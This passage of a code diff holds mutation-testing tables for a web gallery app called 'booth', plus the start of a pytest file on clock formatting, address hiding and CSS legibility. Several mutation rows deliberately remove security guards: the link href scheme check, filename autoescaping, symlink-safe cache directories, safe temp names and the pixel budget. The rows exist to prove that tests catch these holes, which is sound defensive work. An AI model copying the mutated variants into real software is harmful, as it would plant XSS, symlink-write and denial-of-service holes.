return p && !/^(side|link)(=|$)/.test(p);'''
# ---- after the merge: booth-dev's race note (01M3AT7GKCPATJD5YW0PR3SRPT)
[[mutation]]
label = "C1 a side is judged twice (the ring rebuilt per side): a side that vanishes between is a 500"
file = "booth/app.py"
test = "tests/test_compare.py::test_a_side_that_vanishes_mid_request_never_500s"
old = '''
ring = _compare_ring(booth, items) # built ONCE; every rel judged once
a = _compare_side(ring, a)
b = _compare_side(ring, b)'''
new = '''
a = _compare_side(_compare_ring(booth, items), a)
b = _compare_side(_compare_ring(booth, items), b)
ring = _compare_ring(booth, items)'''
[[mutation]]
label = "C2 the review offers Compare for an item that vanished after its own check"
file = "booth/app.py"
test = "tests/test_compare.py::test_the_review_hides_compare_when_its_item_vanishes_mid_request"
old = '''
if _in_booth(booth, f):
partner'''
new = '''
if True:
partner'''
[[mutation]]
label = "a NUL in the raw file path is a 500 (the stages load through this route)"
file = "booth/app.py"
test = "tests/test_compare.py::test_a_nul_in_a_file_path_is_404_not_500"
old = '''
target = (booth / filepath).resolve()
except (OSError, ValueError):'''
new = '''
target = (booth / filepath).resolve()
except OSError:'''
# Refuted, not rowed (bug hunt): "a right-click mid-drag ends the pan" — a
# second button pressed and released during a drag arrives as chorded
# `pointermove` events, never a `pointerup` (measured 3/3 in the test browser,
# the pan continuing each time). "A non-UTF-8 name 500s compare in `quote()`" —
# booth_items never yields a rel that quote() cannot encode (test_flow's
# test_ordinals_count_rendered_items_only).
#
# Accepted, not rowed: the mode's `onChange: settleAll` (re-deciding which stage
# can pan) is redundant with compare's ResizeObserver — 1:1 drops the stage's
# padding, so every mode change resizes the stage's content box and the
# observer settles both. Its row stayed green; each alone holds.
#
# Accepted, not rowed: the `booth:swapped` restate is redundant with the URL
# rewrite — the in-place client re-fetches `location.href`, which already
# carries `side`, so the fresh strip renders the active side itself. Each alone
# holds; the save test (a_save_keeps_the_active_side) sees the pair.
+142
View File
@@ -0,0 +1,142 @@
# Thumbnails sized for the tile's WIDTH at 2x density, not 512 on the longest
# side. The operator on sindra-nude-final, 2026-09-23: "the images look blurry
# until they're selected and blown up". Every row is a change
# tests/test_thumbs.py or tests/test_thumbs_browser.py claims to forbid.
unit = "thumbnails sized for the tile"
[[mutation]]
label = "the old rule: bound the longest side at 512 (portraits get 256px of width)"
file = "booth/thumbs.py"
test = "tests/test_thumbs.py::test_a_portrait_keeps_its_full_width"
old = '''
im.thumbnail((THUMB_WIDTH, THUMB_HEIGHT_MAX))'''
new = '''
im.thumbnail((512, 512))'''
[[mutation]]
label = "the width bound is below what the desktop tile needs at 2x"
file = "booth/thumbs.py"
test = "tests/test_thumbs_browser.py::test_a_thumbnail_covers_its_tile_at_2x_density"
old = '''
THUMB_WIDTH = 768'''
new = '''
THUMB_WIDTH = 640'''
[[mutation]]
label = "no height bound: a long screenshot goes through at full height"
file = "booth/thumbs.py"
test = "tests/test_thumbs.py::test_an_extremely_tall_image_is_bounded_by_height_too"
old = '''
im.thumbnail((THUMB_WIDTH, THUMB_HEIGHT_MAX))'''
new = '''
im.thumbnail((THUMB_WIDTH, 10 ** 6))'''
[[mutation]]
label = "fitting in pixels is taken as light in bytes (the megabyte portrait is served whole)"
file = "booth/thumbs.py"
test = "tests/test_thumbs.py::test_a_tile_width_image_that_is_heavy_still_gets_a_thumbnail"
old = '''
if fits and (s_stat.st_size <= THUMB_LIGHT_BYTES or getattr(im, "is_animated", False)):'''
new = '''
if fits:'''
[[mutation]]
label = "an already small, light image gets a cache entry that saves nothing"
file = "booth/thumbs.py"
test = "tests/test_thumbs.py::test_an_already_small_image_gets_no_thumbnail"
old = '''
if fits and (s_stat.st_size <= THUMB_LIGHT_BYTES or getattr(im, "is_animated", False)):'''
new = '''
if fits and getattr(im, "is_animated", False):'''
[[mutation]]
label = "a heavy animated GIF that fits is flattened to one frame"
file = "booth/thumbs.py"
test = "tests/test_thumbs.py::test_an_animated_gif_that_fits_is_served_as_itself"
old = '''
if fits and (s_stat.st_size <= THUMB_LIGHT_BYTES or getattr(im, "is_animated", False)):'''
new = '''
if fits and s_stat.st_size <= THUMB_LIGHT_BYTES:'''
[[mutation]]
label = "an unversioned cache name: a thumbnail cut to the old rule is served forever"
file = "booth/thumbs.py"
test = "tests/test_thumbs.py::test_a_thumbnail_cut_to_the_old_rule_is_not_served"
old = '''
return booth / THUMB_DIR / f"{rel}.{rule}.webp"'''
new = '''
return booth / THUMB_DIR / (rel + ".webp")'''
# ---- the heid bug-hunt on this change (4/4 arms), folded ------------------------
[[mutation]]
label = "a cache hit trusts the name and the mtime (a planted directory is served)"
file = "booth/thumbs.py"
test = "tests/test_thumbs.py::test_a_planted_directory_at_the_cache_path_is_not_served"
old = '''
return stat.S_ISREG(o.st_mode) and o.st_mtime_ns == s_stat.st_mtime_ns'''
new = '''
return o.st_mtime_ns >= s_stat.st_mtime_ns'''
[[mutation]]
label = "freshness is 'at least as new' (a cp -p'd older source pins the old thumbnail)"
file = "booth/thumbs.py"
test = "tests/test_thumbs.py::test_a_source_replaced_with_an_older_mtime_is_rebuilt"
old = '''
return stat.S_ISREG(o.st_mode) and o.st_mtime_ns == s_stat.st_mtime_ns'''
new = '''
return stat.S_ISREG(o.st_mode) and o.st_mtime_ns >= s_stat.st_mtime_ns'''
[[mutation]]
label = "the cache dirs are made by following links (a planted .thumbs link escapes the booth)"
file = "booth/thumbs.py"
test = "tests/test_thumbs.py::test_a_symlinked_cache_dir_is_never_written_through"
old = '''
if not _cache_dir(booth, out.parent):
return None'''
new = '''
out.parent.mkdir(parents=True, exist_ok=True)'''
[[mutation]]
label = "a predictable temp name the encoder writes through"
file = "booth/thumbs.py"
test = "tests/test_thumbs.py::test_a_planted_link_at_the_old_temp_name_cannot_redirect_the_write"
old = '''
fd, tmp = tempfile.mkstemp(prefix=".", suffix=".tmp", dir=out.parent)
try:
with os.fdopen(fd, "wb") as fh:
im.save(fh, "WEBP", quality=THUMB_QUALITY, method=4)'''
new = '''
tmp = str(out) + f".{os.getpid()}.tmp"
try:
im.save(tmp, "WEBP", quality=THUMB_QUALITY, method=4)'''
[[mutation]]
label = "RGBA chosen by getbands() alone (palette transparency baked opaque)"
file = "booth/thumbs.py"
test = "tests/test_thumbs.py::test_palette_transparency_survives_the_thumbnail"
old = '''
alpha = "A" in im.getbands() or "transparency" in im.info'''
new = '''
alpha = "A" in im.getbands()'''
[[mutation]]
label = "EXIF orientation ignored (a camera portrait tiled sideways)"
file = "booth/thumbs.py"
test = "tests/test_thumbs.py::test_a_camera_portrait_is_sized_and_saved_upright"
old = '''
orientation = im.getexif().get(0x0112, 1)'''
new = '''
orientation = 1'''
[[mutation]]
label = "no pixel budget: whatever the header claims is decoded"
file = "booth/thumbs.py"
test = "tests/test_thumbs.py::test_an_image_past_the_pixel_budget_is_never_decoded"
old = '''
if w * h > THUMB_MAX_PIXELS:
return None'''
new = '''
if False:
return None'''
+141
View File
@@ -0,0 +1,141 @@
# U3 amendment, 2026-09-27: one submit saves every ask on a verbatim report.
# The operator answered three asks top to bottom, pressed the last button, and
# the 303 reload wiped the first two (`auk-audition`, 15:02:23). Contract:
# docs/contracts/u3_declared_embed_seam.contract.md, "Submitting several asks at
# once" and INV-8. Every row is a change tests/test_embed_browser.py claims to
# forbid. The flight-window rows came from the heid bug-hunt panel on the first
# cut, where every guard of that window survived its mutation.
unit = "u3 submit all"
[[mutation]]
label = "only the pressed form is sent (the reported defect)"
file = "booth/static/embed.js"
test = "tests/test_embed_browser.py::test_one_submit_saves_every_answered_ask_on_the_page[a3]"
old = '''
var batch = forms.filter(dirty);'''
new = '''
var batch = [form];'''
[[mutation]]
label = "the pressed form is sent whether or not it is dirty (a blank one 400s)"
file = "booth/static/embed.js"
test = "tests/test_embed_browser.py::test_a_blank_ask_is_skipped_never_refused"
old = '''
var batch = forms.filter(dirty);'''
new = '''
var batch = forms.filter(function (f) { return f === form || dirty(f); });'''
[[mutation]]
label = "every form is sent, touched or not (re-dates an answer nobody gave)"
file = "booth/static/embed.js"
test = "tests/test_embed_browser.py::test_an_ask_nobody_touched_is_not_re_sent"
old = '''
var batch = forms.filter(dirty);'''
new = '''
var batch = forms;'''
[[mutation]]
label = "a lone dirty form is intercepted instead of left to the browser"
file = "booth/static/embed.js"
test = "tests/test_embed_browser.py::test_one_changed_ask_still_submits_as_a_plain_form"
old = '''
if (!others) return; // the browser's own POST and 303'''
new = ''''''
[[mutation]]
label = "the forms are sent in reverse document order"
file = "booth/static/embed.js"
test = "tests/test_embed_browser.py::test_the_asks_are_sent_in_document_order"
old = '''
var batch = forms.filter(dirty);'''
new = '''
var batch = forms.filter(dirty).reverse();'''
[[mutation]]
label = "a refusal stops the forms after it"
file = "booth/static/embed.js"
test = "tests/test_embed_browser.py::test_a_refused_ask_costs_only_itself_and_clears_nothing"
old = '''
return send(f, bodies[n]).then(function (why) {'''
new = '''
if (failed.length) return;
return send(f, bodies[n]).then(function (why) {'''
[[mutation]]
label = "a refusal reloads the page and clears what was entered"
file = "booth/static/embed.js"
test = "tests/test_embed_browser.py::test_a_refused_ask_costs_only_itself_and_clears_nothing"
old = '''
if (!failed.length && !changed) { location.reload(); return; }'''
new = '''
location.reload(); return;'''
[[mutation]]
label = "only dirtiness blocks the reload (a refused form set back to its first value reloads over the failure)"
file = "booth/static/embed.js"
test = "tests/test_embed_browser.py::test_a_refusal_blocks_the_reload_even_when_nothing_reads_dirty"
old = '''
if (!failed.length && !changed) { location.reload(); return; }'''
new = '''
if (!changed) { location.reload(); return; }'''
[[mutation]]
label = "a refusal is never said"
file = "booth/static/embed.js"
test = "tests/test_embed_browser.py::test_a_refused_ask_costs_only_itself_and_clears_nothing"
old = '''
st.hidden = false;'''
new = ''''''
[[mutation]]
label = "an author's own form is taken over (no ownership check at the entry)"
file = "booth/static/embed.js"
test = "tests/test_embed_browser.py::test_an_authors_own_form_is_never_taken_over"
old = '''
if (forms.indexOf(form) < 0) return;'''
new = ''''''
[[mutation]]
label = "an author's form wearing our id prefix counts as ours (no mounted-root check)"
file = "booth/static/embed.js"
test = "tests/test_embed_browser.py::test_an_authors_own_form_is_never_taken_over"
old = '''
if (ours[j].contains(all[i])) { out.push(all[i]); break; }'''
new = '''
out.push(all[i]); break;'''
[[mutation]]
label = "a press during the flight falls through to the browser (a native POST races the batch)"
file = "booth/static/embed.js"
test = "tests/test_embed_browser.py::test_a_press_inside_the_flight_never_fires_a_native_post"
old = '''
if (sending) { ev.preventDefault(); return; }'''
new = ''''''
[[mutation]]
label = "a change made during the flight is reloaded away"
file = "booth/static/embed.js"
test = "tests/test_embed_browser.py::test_input_made_during_the_flight_is_kept_and_saved_on_the_next_press"
old = '''
var changed = forms.some(dirty);'''
new = '''
var changed = false;'''
[[mutation]]
label = "a saved form keeps its old baseline, so a retry re-sends (re-dates) it"
file = "booth/static/embed.js"
test = "tests/test_embed_browser.py::test_a_retry_after_a_refusal_sends_only_what_did_not_save"
old = '''
if (why === null) f.__bkSaved = bodies[n].toString();
else failed.push'''
new = '''
if (why !== null) failed.push'''
[[mutation]]
label = "the empty status line shows under a host `p{display:block}`"
file = "booth/static/embed.js"
test = "tests/test_embed_browser.py::test_the_empty_status_line_stays_hidden_under_host_css"
old = '''
".bk-ask-status[hidden]{display:none}",'''
new = ''''''
+236
View File
@@ -0,0 +1,236 @@
# U7 — every falsifier the navigation unit claims, and the change it forbids.
#
# Generated from the session harness that proved them, not retyped. Each `old`
# must match the source byte-for-byte; a drifted anchor is REPORTED, never
# silently skipped — a table that stops matching stops proving anything.
unit = "the rail, the filters, the grid keyboard, and the groups"
[[mutation]]
label = "INV-2 sort the grid by (group, rel) so groups render contiguously"
file = "booth/app.py"
test = "tests/test_navigation.py::test_grouping_never_reorders_the_grid"
old = '''
shown = buckets[active]'''
new = '''
shown = sorted(buckets[active], key=lambda i: (i["group"] or "", i["name"]))'''
[[mutation]]
label = "INV-3a drop the >=2 groups guard (a rail with one row)"
file = "booth/app.py"
test = "tests/test_navigation.py::test_no_group_rail_when_there_is_only_one_group"
old = '''
if len(sizes) < 2 or sizes[len(sizes) // 2] <= 1:'''
new = '''
if len(sizes) < 1 or sizes[len(sizes) // 2] <= 1:'''
[[mutation]]
label = "INV-3b drop the median guard (a rail that is a second copy of the grid)"
file = "booth/app.py"
test = "tests/test_navigation.py::test_no_group_rail_when_every_item_is_its_own_group"
old = '''
if len(sizes) < 2 or sizes[len(sizes) // 2] <= 1:'''
new = '''
if len(sizes) < 2:'''
[[mutation]]
label = "groups derived from the FULL gallery, not the rendered list"
file = "booth/app.py"
test = "tests/test_navigation.py::test_groups_describe_the_filtered_grid"
old = '''
"groups": _groups(shown),'''
new = '''
"groups": _groups(gallery),'''
[[mutation]]
label = "the anchor names the group key instead of the tile id"
file = "booth/app.py"
test = "tests/test_navigation.py::test_every_group_anchor_lands_on_a_rendered_tile"
old = '''
{"key": k, "n": len(v), "anchor": f"item-{v[0]['url']}"}'''
new = '''
{"key": k, "n": len(v), "anchor": f"group-{k}"}'''
[[mutation]]
label = "the rail orders groups alphabetically instead of by first member"
file = "booth/app.py"
test = "tests/test_navigation.py::test_group_order_is_the_position_of_the_first_member"
old = '''
for k, v in by_group.items()'''
new = '''
for k, v in sorted(by_group.items())'''
[[mutation]]
label = "the rail orders groups by count, which the docstring also claims differs"
file = "booth/app.py"
test = "tests/test_navigation.py::test_group_order_is_the_position_of_the_first_member"
old = '''
for k, v in by_group.items()'''
new = '''
for k, v in sorted(by_group.items(), key=lambda kv: -len(kv[1]))'''
[[mutation]]
label = "_group_of reverts to the contract's original strip-trailing-digits rule"
file = "booth/items.py"
test = "tests/test_items.py::test_group_of_takes_the_first_segment"
old = '''
segs = _SEG.split(stem)
if len(segs) == 1:
return re.sub(r"\d+$", "", stem) or None
return segs[0] or None'''
new = '''
m = re.match(r"^(.*?)[-_. ]?\d+$", stem)
return (m.group(1) or None) if m else (stem or None)'''
[[mutation]]
label = "INV-1 a route body derives the group inline"
file = "booth/app.py"
test = "tests/test_navigation.py::test_no_route_body_derives_a_group"
old = '''
by_group: dict[str, list[dict]] = {}'''
new = '''
_ = _group_of # noqa
by_group: dict[str, list[dict]] = {}'''
[[mutation]]
label = "the rail markup is emitted with |safe"
file = "booth/templates/booth.html"
test = "tests/test_navigation.py::test_a_hostile_filename_cannot_break_out_of_the_rail"
old = '''
href="#{{ g.anchor }}">{{ g.key }} <b>{{ g.n }}</b></a>'''
new = '''
href="#{{ g.anchor }}">{{ g.key|safe }} <b>{{ g.n }}</b></a>'''
[[mutation]]
label = "a flat all-digit stem yields the empty string instead of None"
file = "booth/items.py"
test = "tests/test_navigation.py::test_a_group_key_is_never_the_empty_string"
old = '''
return re.sub(r"\d+$", "", stem) or None'''
new = '''
return re.sub(r"\d+$", "", stem)'''
[[mutation]]
label = "the template renders the group row whenever there is any group at all"
file = "booth/templates/booth.html"
test = "tests/test_navigation.py::test_no_group_rail_when_every_item_is_its_own_group"
old = '''
{% if rail.groups %}'''
new = '''
{% if rail.groups is not none %}'''
[[mutation]]
label = "the anchor is built from the raw name instead of the encoded url"
file = "booth/app.py"
test = "tests/test_navigation.py::test_a_group_anchor_survives_a_filename_that_percent_decodes"
old = '''
{"key": k, "n": len(v), "anchor": f"item-{v[0]['url']}"}'''
new = '''
{"key": k, "n": len(v), "anchor": f"item-{v[0]['name']}"}'''
[[mutation]]
label = "the anchor names the LAST member instead of the first"
file = "booth/app.py"
test = "tests/test_navigation.py::test_a_group_anchor_names_the_FIRST_member"
old = '''
{"key": k, "n": len(v), "anchor": f"item-{v[0]['url']}"}'''
new = '''
{"key": k, "n": len(v), "anchor": f"item-{v[-1]['url']}"}'''
[[mutation]]
label = "a group row over-reports its own size"
file = "booth/app.py"
test = "tests/test_navigation.py::test_a_group_row_reports_its_own_size"
old = '''
{"key": k, "n": len(v), "anchor": f"item-{v[0]['url']}"}'''
new = '''
{"key": k, "n": len(v) + 1, "anchor": f"item-{v[0]['url']}"}'''
[[mutation]]
label = "the informativeness guard reads the LARGEST group, not the middle"
file = "booth/app.py"
test = "tests/test_navigation.py::test_the_informativeness_guard_reads_the_middle_not_the_largest"
old = '''
if len(sizes) < 2 or sizes[len(sizes) // 2] <= 1:'''
new = '''
if len(sizes) < 2 or sizes[-1] <= 1:'''
[[mutation]]
label = "the rail is gated on the FILTERED list, removing the way back"
file = "booth/templates/booth.html"
test = "tests/test_navigation.py::test_a_filter_that_matches_nothing_leaves_a_way_back"
old = '''
{% elif all_items %}'''
new = '''
{% elif items %}'''
[[mutation]]
label = "the keyboard flag selector names a class nothing emits"
file = "booth/templates/booth.html"
test = "tests/test_navigation.py::test_the_keyboard_flag_targets_a_real_button"
old = '''
case 'f': click('.flagtoggle button');'''
new = '''
case 'f': click('.flagbtn, [name="target"]');'''
[[mutation]]
label = "an unrepresentable filename is let through and 500s the booth"
file = "booth/items.py"
test = "tests/test_items.py::test_one_unrepresentable_filename_costs_its_own_tile_not_the_booth"
old = '''
try:
quote(rel, safe="/")
except UnicodeEncodeError:'''
new = '''
try:
pass
except UnicodeEncodeError:'''
[[mutation]]
label = "the grid cursor starts at tile 0, so an arrow undoes a group jump"
file = "booth/templates/booth.html"
test = "tests/test_embed_browser.py::test_an_arrow_after_a_group_jump_does_not_scroll_back"
old = '''
case 'ArrowRight': focus(at < 0 ? fromViewport() : at + 1);'''
new = '''
case 'ArrowRight': focus(at + 1);'''
[[mutation]]
label = "the link board drops its href scheme guard"
file = "booth/links.py"
test = "tests/test_booth.py::test_the_link_board_refuses_to_render_a_script_href"
old = '''
return parts.scheme.lower() in ("http", "https")'''
new = '''
return True'''
[[mutation]]
label = "the board delete dialog takes the raw agent-written description"
file = "booth/templates/booth.html"
test = "tests/test_booth.py::test_the_board_delete_dialog_cannot_be_rewritten_by_a_link_row"
old = '''
var d = shown(btn.getAttribute('data-desc') || '');'''
new = '''
var d = btn.getAttribute('data-desc') || '';'''
[[mutation]]
label = "booth blur OVERRIDES per-item instead of composing"
file = "booth/items.py"
test = "tests/test_booth.py::test_booth_blur_composes_with_per_item_and_never_overrides_it"
old = '''
blurred=rel in blurred or (booth_blur and kind in BLURRABLE_KINDS),'''
new = '''
blurred=(booth_blur and kind in BLURRABLE_KINDS),'''
[[mutation]]
label = "an unreadable booth-blur marker reveals instead of fogging"
file = "booth/items.py"
test = "tests/test_booth.py::test_an_unreadable_booth_blur_marker_fogs_rather_than_reveals"
old = '''
except OSError:
return True # cannot tell -> fog it; see above'''
new = '''
except OSError:
return False # cannot tell -> reveal it'''
+81
View File
@@ -0,0 +1,81 @@
# Upload filenames the filesystem cannot hold, and names whose kind a cut could
# change. Two reached open() and raised, a 500 with the booth torn down (r3
# heid bug hunt, hulda, 2026-09-24): a NUL, and a name over NAME_MAX (255
# BYTES) that a 200-CHARACTER cap let through. The second round (hulda) found a
# surrogate dropped after the dot rule (`.forever`, the keep marker) and a cut
# that manufactured `.png`. Every row is a change tests/test_booth.py claims to
# forbid.
unit = "upload names the filesystem can hold"
[[mutation]]
label = "a NUL in an upload name reaches open() (ValueError, a 500)"
file = "booth/app.py"
test = "tests/test_booth.py::test_upload_a_nul_in_a_filename_never_500s"
old = '''
base = (name or "").replace("\x00", "").encode("utf-8", "surrogatepass").decode("utf-8", "ignore")'''
new = '''
base = (name or "").encode("utf-8", "surrogatepass").decode("utf-8", "ignore")'''
[[mutation]]
label = "the NUL is stripped after the dot rule (a NUL shields a leading dot)"
file = "booth/app.py"
test = "tests/test_booth.py::test_safe_upload_name_drops_nul_before_the_dot_rule"
old = '''
base = (name or "").replace("\x00", "").encode("utf-8", "surrogatepass").decode("utf-8", "ignore")
base = base.replace("\\", "/").split("/")[-1].strip()
base = base.lstrip(".") # a leading dot would hide the file from every listing'''
new = '''
base = (name or "").encode("utf-8", "surrogatepass").decode("utf-8", "ignore")
base = base.replace("\\", "/").split("/")[-1].strip()
base = base.lstrip(".").replace("\x00", "") # a leading dot would hide the file from every listing'''
[[mutation]]
label = "a lone surrogate is dropped after the dot rule (`.forever`, the keep marker, comes out)"
file = "booth/app.py"
test = "tests/test_booth.py::test_safe_upload_name_drops_every_unencodable_character_before_the_dot_rule"
old = '''
base = (name or "").replace("\x00", "").encode("utf-8", "surrogatepass").decode("utf-8", "ignore")
base = base.replace("\\", "/").split("/")[-1].strip()
base = base.lstrip(".") # a leading dot would hide the file from every listing'''
new = '''
base = (name or "").replace("\x00", "")
base = base.replace("\\", "/").split("/")[-1].strip()
base = base.lstrip(".").encode("utf-8", "surrogatepass").decode("utf-8", "ignore") # a leading dot would hide the file from every listing'''
[[mutation]]
label = "the cap counts characters, not bytes (ENAMETOOLONG, a 500)"
file = "booth/app.py"
test = "tests/test_booth.py::test_upload_a_name_over_name_max_in_bytes_never_500s"
old = '''
cut = head.encode("utf-8")[:room].decode("utf-8", "ignore") + tail'''
new = '''
cut = head[:room] + tail'''
[[mutation]]
label = "the cut comes out of the whole name (a long .png stops being an image)"
file = "booth/app.py"
test = "tests/test_booth.py::test_safe_upload_name_keeps_the_extension_through_the_cut"
old = '''
head = stem if tail else base'''
new = '''
head, tail = base, ""'''
[[mutation]]
label = "only a 4-byte extension survives the cut (`.jpeg` is lost)"
file = "booth/app.py"
test = "tests/test_booth.py::test_safe_upload_name_keeps_the_extension_through_the_cut"
old = '''
tail = dot + ext if stem and len((dot + ext).encode("utf-8")) <= 16 else ""'''
new = '''
tail = dot + ext if stem and len((dot + ext).encode("utf-8")) <= 4 else ""'''
[[mutation]]
label = "a cut may land on a shorter suffix and manufacture a kind (`….png` out of `….pngxxx…`)"
file = "booth/app.py"
test = "tests/test_booth.py::test_safe_upload_name_never_manufactures_a_kind"
old = '''
if (classify(cut), doc_kind(cut)) != (classify(base), doc_kind(base)):
cut = cut.replace(".", "_")'''
new = '''
'''
+633
View File
@@ -0,0 +1,633 @@
"""The anti-slop fix slices (docs/contracts/as_antislop.contract.md).
S1, the house clock: a clock time the operator reads is local 24-hour time as
four digits with no colon (0848). Raw ISO stamps, HH:MM, microseconds, offsets
and a poster's IP address never reach visible text. The exact stored value
stays available in each <time>'s `datetime`.
"""
from __future__ import annotations
import os
import re
import time
import pytest
from booth.marks import answer_pick, declare_pick, marks_for, write_note
PACIFIC = "America/Los_Angeles"
@pytest.fixture(autouse=True)
def pacific():
"""Pin the zone: `clock` renders local time, and this box's local time is
the operator's. A test that inherited the runner's zone would pass or fail by
where it ran."""
old = os.environ.get("TZ")
os.environ["TZ"] = PACIFIC
time.tzset()
yield
if old is None:
os.environ.pop("TZ", None)
else:
os.environ["TZ"] = old
time.tzset()
def _now():
return time.mktime((2026, 9, 28, 12, 0, 0, 0, 0, -1))
@pytest.fixture
def client(tmp_path):
from fastapi.testclient import TestClient
from booth.app import create_app
return TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False)), tmp_path
def _text(fragment: str) -> str:
return re.sub(r"\s+", " ", re.sub(r"<[^>]+>", " ", fragment)).strip()
HHMM = re.compile(r"\b\d{1,2}:\d{2}\b")
ISO = re.compile(r"\d{4}-\d{2}-\d{2}T\d{2}")
IP = re.compile(r"\b\d{1,3}(?:\.\d{1,3}){3}\b|::1\b")
HOUSE = re.compile(r"\b\d{1,2} [A-Z][a-z]{2}(?: \d{4})? \d{4}\b")
# ---- the filters ---------------------------------------------------------------
def test_clock_forms():
from booth.app import clock
now = _now()
assert clock("2026-09-28T08:48:20.478024-07:00", now=now) == "28 Sep 0848"
assert clock("2026-09-28T15:48:20+00:00", now=now) == "28 Sep 0848" # converted to local
assert clock("2026-09-28T08:48:20", now=now) == "28 Sep 0848" # naive = local
assert clock("2026-09-06 23:35", now=now) == "6 Sep 2335" # the board's rows
assert clock("2025-09-06 23:35", now=now) == "6 Sep 2025 2335" # another year says so
assert clock(time.mktime((2026, 9, 28, 8, 48, 0, 0, 0, -1)), now=now) == "28 Sep 0848"
assert clock("", now=now) == "" and clock(None, now=now) == ""
assert clock("2026-09-28", now=now) == "28 Sep" # a date has no clock: no 0000
assert clock("2026-W39-1", now=now) == "21 Sep" # nor does an ISO week
def test_clock_never_raises():
"""The Desk and the board render many rows in ONE response: one bad stamp
must cost its own text, never the page. What cannot be read is shown as
given, never guessed."""
from booth.app import clock
for bad in ("not a time", "2026-13-45T99:99", "99999-01-01T00:00:00", 1e20, 10 ** 400, -(10 ** 400),
float("nan"), float("inf"), True, [1]):
assert isinstance(clock(bad, now=_now()), str)
assert clock("not a time", now=_now()) == "not a time"
assert clock("2026-13-45T99:99", now=_now()) == "2026-13-45T99:99"
def test_byline_hides_addresses():
from booth.app import byline
for addr in ("127.0.0.1", "10.100.10.5", "::1", "2001:db8::1", "10.100.10.5:443", "10.100.10.5/32",
"[2001:db8::1]:443", "\u200b10.100.10.5", " 127.0.0.1 "):
assert byline(addr) == "", addr
assert byline("design-dev") == "design-dev" and byline("host:8080") == "host:8080"
assert byline("") == "" and byline(None) == ""
def test_date_stamp_is_house_form():
from booth.app import date_stamp
assert re.fullmatch(r"\d{4}-\d{2}-\d{2} \d{4}", date_stamp(_now())), date_stamp(_now())
assert date_stamp(_now()) == "2026-09-28 1200"
# ---- where they apply ------------------------------------------------------------
def _answered_booth(data):
b = data / "b"
b.mkdir()
declare_pick(b, "p1", {"prompt": "Which?", "options": ["North", "South"]})
answer_pick(b, "p1", marks_for(b)[0].options[0]["id"], who="127.0.0.1")
write_note(b, None, "about the booth", who="10.100.10.5")
return b
def _whens(html):
return [_text(w) for w in re.findall(r'<span class="mark-when">(.*?)</span>', html, flags=re.S)]
@pytest.mark.parametrize("path", ["/b/b/marks", "/b/b/"])
def test_rendered_marks_use_the_house_clock(client, path):
c, data = client
_answered_booth(data)
html = c.get(path).text
whens = _whens(html)
assert whens, f"{path} renders no mark line at all (positive control)"
for w in whens:
assert HOUSE.search(w), w
assert not (HHMM.search(w) or ISO.search(w) or IP.search(w)), w
visible = _text(re.sub(r"<(script|style)\b.*?</\1>", " ", html, flags=re.S))
assert "127.0.0.1" not in html and "10.100.10.5" not in html, "no address anywhere, attributes included"
stored = {m.created for m in marks_for(data / "b")} | {m.answer["answered_at"] for m in marks_for(data / "b") if m.answer}
carried = set(re.findall(r'<time datetime="([^"]+)"', html))
assert stored & carried, "the exact stored stamp rides in datetime="
def test_embed_fragment_uses_the_house_clock(client):
c, data = client
_answered_booth(data)
(m,) = [m for m in c.get("/b/b/embed.json").json()["marks"] if m["id"] == "p1"]
# The SUBMIT block's tag carries the stamp (the per-question tag says only
# "✓ answered"); the embed places it from `submit`.
tag = _text(re.search(r'<span class="bk-ask-tag">(.*?)</span>', m["submit"], flags=re.S).group(1))
assert tag.startswith("✓ answered"), tag
assert HOUSE.search(tag) and not (ISO.search(tag) or HHMM.search(tag)), tag
def test_board_rows_use_the_house_clock(client):
from booth.links import LINKS_FILE
c, data = client
board = data / "links"
board.mkdir()
(board / LINKS_FILE).write_text("- [Booth](http://x/) <sub>· infra-ops · 2026-09-06 23:35</sub>\n"
"- [Other](http://y/) <sub>· 10.0.0.5 · 2026-09-06 23:36</sub>\n")
html = c.get("/b/links/").text
whens = [_text(w) for w in re.findall(r'<span class="board-when">(.*?)</span>', html, flags=re.S)]
assert "10.0.0.5" not in html, "a board row's author is bylined like every other"
assert len(whens) == 2 and all(HOUSE.search(w) and not HHMM.search(w) for w in whens), whens
assert "6 Sep 2335" in whens, whens
assert 'datetime="2026-09-06 23:35"' in html
def test_a_malformed_answer_costs_its_line_not_the_page(client):
"""One stored answer missing `unanswered` must not 500 the booth or marks
page (heid bug-hunt Q3). REFUTED as a live bug: the Booth's Jinja uses the
default `Undefined`, whose `|length` is 0. Kept as a guard: switching the
environment to StrictUndefined would turn this red."""
import json as _json
c, data = client
b = data / "b"
b.mkdir()
(b / "a.png").write_bytes(b"\x89PNG\r\n\x1a\n")
declare_pick(b, "p1", {"prompt": "Which?", "options": ["North", "South"]})
doc = _json.loads((b / ".marks.json").read_text())
doc["marks"][0]["answer"] = {"answers": []}
(b / ".marks.json").write_text(_json.dumps(doc))
for url in ("/b/b/", "/b/b/marks"):
assert c.get(url).status_code == 200, url
# ---- S2: legibility ----------------------------------------------------------------
# Faded is not legible; labels >= 11px (--size-micro); sentence-like lines >= 12px
# (--size-caption). These read the shipped CSS, and the arrow test composites the
# colours with INDEPENDENT maths (OKLCH -> sRGB -> WCAG), not with anything the
# page computes.
import math as _math
from pathlib import Path as _Path
_T = _Path(__file__).resolve().parent.parent / "booth" / "templates"
_EMBED = _Path(__file__).resolve().parent.parent / "booth" / "static" / "embed.js"
def _rule(css: str, selector: str) -> str:
m = re.search(r"(?:^|[}\s])" + re.escape(selector) + r"\s*\{([^}]*)\}", css)
assert m, f"no rule for {selector!r}"
return m.group(1)
def _oklch_srgb(l, c, h):
a, b = c * _math.cos(_math.radians(h)), c * _math.sin(_math.radians(h))
l_, m_, s_ = (l + 0.3963377774 * a + 0.2158037573 * b, l - 0.1055613458 * a - 0.0638541728 * b,
l - 0.0894841775 * a - 1.2914855480 * b)
L, M, S = l_ ** 3, m_ ** 3, s_ ** 3
lin = (4.0767416621 * L - 3.3077115913 * M + 0.2309699292 * S,
-1.2684380046 * L + 2.6097574011 * M - 0.3413193965 * S,
-0.0041960863 * L - 0.7034186147 * M + 1.7076147010 * S)
enc = lambda v: 12.92 * v if v <= 0.0031308 else 1.055 * v ** (1 / 2.4) - 0.055
return [max(0.0, min(1.0, enc(v))) for v in lin]
def _lum(rgb):
f = lambda v: v / 12.92 if v <= 0.03928 else ((v + 0.055) / 1.055) ** 2.4
return 0.2126 * f(rgb[0]) + 0.7152 * f(rgb[1]) + 0.0722 * f(rgb[2])
def _oklch(decl: str, prop: str):
